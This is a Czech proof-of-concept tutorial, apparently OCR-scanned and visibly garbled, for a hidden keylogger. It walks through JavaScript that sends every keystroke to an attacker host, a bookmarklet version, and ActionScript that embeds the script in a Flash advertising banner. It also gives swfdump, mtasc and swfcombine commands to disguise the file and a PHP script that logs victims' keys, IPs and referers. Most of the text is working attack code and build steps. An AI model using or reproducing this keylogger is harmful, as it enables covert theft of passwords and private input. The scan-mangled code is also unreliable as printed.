-=Invisble SWF Keylogger [PoC] =-

[XanthiX]

Jednoduchy keylogger odchytava stisknuté klavesy v infikovaném okné prohlizece
obéti prostrednictvim injektovaného kodu napsaného v JavaScriptu. Keylogger vyuZiva ke
svému behu udalosti onkeypress, ktera zpisobuje cyklicky béh definovaného téla bezejmenné
funkce function(e). Pri volani téla funkce je prostiednictvim parametru e piedana hodnota
odchycené stisknuté klavesy, ktera se v cyklu uklada do proménné pressedKey. K pieneseni
této hodnoty z prohlize¢e obéti na Gtocnikav server s odchytavajicim PHP skriptem je vyuZito
nésledujiciho triku:

V kontextu béhového prostiedi javascriptu je vytvoren objekt img reprezentujici
objekt obrézku. Nasedné je vytvoren objekt textového retézce, ktery reprezentuje URL
volaného shéroveého skriptu Utoénika. Pri vytvareni URL je k fetézci, ktery specifikuje lokaci
skriptu prifetézena také hodnota stisknuté klavesy reprezentovana jako URL parametr inpuit.
V konecném kroku béhu cyklu dochézi k pouziti takto sestrojené URL k vyvolani HTTP
metody GET z prohlizece obéti, ¢imz je v koneném dusledku docileno transportovani
odchyceného znaku odchytavajicimu PHP skriptu na strané toc¢nika.

====<1.1 kod javascriptu realizujici odpodech stisknutych klaves> ====

<script>
docunent . capt ur eEvent s( Event . KEYPRESS) ;
docunent . onkeypress=function(e){
var pressedKey=String.fronChar Code(e. which);
var inmg=new | mage();
var src="http://server-
ut ocni ka. cont keyl ogger . php?" +"i nput =" +pr essedKey;
i Mg. Src=src;
}

</script>

====</1.1 kdd javascriptu realizujici odpodech stisknutych klaves> ====

Timto zpisobem méame sestrojeny velmi primitivni javascriptovy keylogger [fungujici
v prohlize¢i Firefox], ktery by bylo mozné pouZzit i vté&o formeé, pokud by byl Gto¢nik
schopen docilit jeho piidani na poZzadovanou HTML stranku [napi. HTML rozhrani pro
vloZeni jména a hesla nebo rozhrani pro psani e-mailu].

DalSi krok vSak znatné zvysuje pravdépodobnost UspéSnosti vlioZeni tohoto kédu na
misto cileného urceni, jelikoZ pro zamaskovani kodu je pouzit jako transportni médium
multimediélni objekt typu flash. K vyvolani kontextu JavaScriptu prostrednictvim flashového
objektu je pouZita flashova udalost get URL, ktera vSak namisto béZzného URL mé za sviij
parametr specidlné upraveny kéd javascriptu. Ten je upraven do specianiho formétu
nazyvaného bookmarklet, jimZz je mozné zpustit zhudtény jednoiédkovy z&pis
JavaScriptového kédu jeho vioZenim do pole prohlizece pro vkladani URL.

Bookmarklet je také mozné vytvorit pomoci pluginu Firebug pro prohlize¢ Mozilla
Firefox, ktery transformuje specialni znaky kédu automaticky do hexadeciméni url-encoded
notace. Bookmarklet se timto postupem tvori vioZzenim kodu javascriptu do oknav pravé ¢asti



li&ty pluginu a naslednym pouzitim funkce ,Build As‘, ktera se nachazi v zéloZce
,Bookmarklets*. Timto postupem vytvoieny bookmarklet je nasledné zapotiebi ziskat ze
z8lozky uloZzeného bookmarku po Kliknuti na zdlozku ,Properties* piislusného bookmarku.
Transformovany kéd se nachézi v poli Location a je uvozen ietézcem , javascript:”.

[ http://getfirebug.conv |

==== <1.2 modifikovana podoba predchoziho kodu ve formé bookmarkletu> ====

j avascri pt: docunent . capt ureEvent s( Event . KEYPRESS) ; docunent . onk
eypress=function(e){var

pressedKey=Stri ng. f ronChar Code( e. whi ch) ; var i ng=new

| mage();var src="http://server-utocni ka.com

/ keyl ogger . php?" +"i nput =" +pr essedKey; i ng. src=src; }; voi d(0);

Poznamka:
Vy&e uvedeny kod je funkeni, pokud je zapsan bez formétovacich znaka CR LF, které jsou
zde pritomny z diivodu formatovani A4.

==== <1.2 modifikovana podoba predchoziho kodu ve formé bookmarkletu> ====

Nasledné je zapotiebi z kddu ve vypisu 1.2 odstranit bild mista a dalSi specifické
znaky. Je mozné toho docilit tak, Ze se tyto znaky nahradi URL-encoded notaci pro potieby
spréavné kompilace programového flashového kodu. Nasledné je tento kod potiebné viozit do
funkce main jako atribut volani funkce getURL. Tento koéd uloZime do souboru
[ pojmenovaného jako backdoor.as v té&o prezentaci].

Poznamka:
Krok transformace bilych a specifickych znaki neni potiebny, pokud jsme k tvorbé
bookmarkletu vyuzili funkcionalitu plugginu Firebug v predchozim kroku.

====<1.3 kdd typu flash pred kompilaci — backdoor.as> ====

cl ass Backdoor {

functi on Backdoor (){

}

static function mai n(nt){

get URL( "] avascri pt:

docunent . capt ur eEvent s%28Event . KEYPRESSY29%3Bdocunent . onkeypr e
SsS¥BDf unct i on%28e%29% Bvar %20pr essedKey¥BDSt ri ng. f r onChar Code%
28e. whi ch%29%3Bvar %20i ng%3Dnewd201 mage%28%29%3Bvar %20sr c¥8D%22
htt p%8A/ / server -
ut ocni ka. cont keyl ogger . php%B8F%22+%22i nput ¥8D¥R22+pr essedKey %3 Bi
ng. src¥3Dsr c¥BBW%WD; voi d(0); ") ;

}
}

==== </1.3 kdd typu flash pred kompilaci — backdoor.as> ====



Nasledné si pripravime libovolny zkompilovany soubor typu flash [pojmenovan jako
banner.swf v té&to prezentaci], jehoZz chceme vyuZzit jako transportniho a maskovaciho média
pro enkapsulaci javascriptového keyloggeru. Pro potieby této prezentace jsem zvolil reklamni
banner. Nésledn¢ je potiebné zjistit, jaké parametry tento soubor mé, abychom mohli svij
prichystany javascriptovy keylogger zkompilovat stémito parametry pro spravné navéazani
transportniho a odchytévaciho souboru. Pro zjisténi parametri jsem pouzil command-driven
utilitu swfdump, ktera je soucésti baliku SWFTools [ http://www.swftools.org/ ].

====<1.4 Zji&éni parametra reklamniho banneru> ====
C. \ SWFTool s\ swf dunp. exe --wi dth --height --rate banner.sw

====</1.4 Zji&éni parametra reklamniho banneru > ====

Poté, co jsme zjistili rozméry a frame rate banneru uréeného k pridruzeni souboru s
keyloggerem, pouZijeme tyto parametry ke kompilaci svého pripraveného koédu z piikladu
1.3. Ke kompilaci je mozné pouZit aplikaci Mtasc, pricemZ jako hodnoty parametru header
uvedeme hodnoty vystupu predchoziho prikazu. [ http://www.mtasc.org/ |

==== <1.5 Kompilace flash kédu s poZadovanymi parametry> ====

c:\Masc\ntasc. exe -swf backdoor.swf -nmmin -header
300: 250: 25. 00 backdoor. as

==== </1.5 Kompilace flash kédu s poZadovanymi parametry> ====

Nasledné slou¢ime zkompilovany flashovy soubor keyloggeru se souborem
reklamniho banneru pomoci utility swfcombine, ktera je také soucasti balicku SWFTools.

====<1.6 Sloué¢eni flash soubora banneru a keyloggeru> ====

c:\ SWFTool s\ swf conbi ne. exe -0 banner _backdoored. swf -T
backdoor.swf banner. swf

==== </1.6 Sloué¢eni flash soubori banneru a keyloggeru> ====

Takto vznikly soubor je potiebné zatlenit pomoci HTML tagu <obj ect> do
struktury HTML kdédu tam, kde je poZadovano odchytavani stisknutych kléaves.

Na strané atoc¢nikova serveru jsem pro Ucely prezentace pouzil nasledujici PHP kéd,
ktery odchytava a uklada stisknuté klavesy do souboru logger.log, nachazejicim se ve stejném
adreséri, jako uvedeny PHP kod. Pri vyvolani skriptu z prohlizece obéti dochézi také
k logovani IP adresy, ¢asu prijatého pozadavku a obsahu parametru referer, jenz indikuje
URL stréanky, ze které byl transport odchyceného znaku iniciovan.

Pro spravné fungovani tohoto konceptu je vhodné soubor logger.log napred vytvorit
vlastnikem PHP skriptu a nastavit skupiné others moznost zapisu do tohoto souborul.



====<1.7 Struktura php kédu na strané serveru utoénika> ====

<?php

$ip =
$ SERVER[ "HTTP_CLI ENT_| P"] ?$_SERVER[ "HTTP_CLI ENT | P"] : $_SERVER
[ " REMOTE_ADDR'] ;

$i nput =ht m speci al char s(addsl ashes($_CGET['input']));

$tinme=date("Hi:s - d.my");

$data="<".S$ip."> <".$tinme."> <".$ SERVER[' HTTP_REFERER ].">
# ".$input."\'n";

$recordFile = "l ogger.|log";
$fh = fopen($recordFile, "a') or die("can't open file");
fwite($fh, $data);

fcl ose($fh);
?>

====</1.7 Struktura php kédu na strané serveru utoénika> ====

Uvedeny koncept je mozZné ovétit pri pouZiti prohlizece Mozilla Firefox na stran¢ obgti
anahrazenim URL fetézce ser ver - ut ocni ka. com tohoto PoC za uréeni lokace souboru
logger.php.
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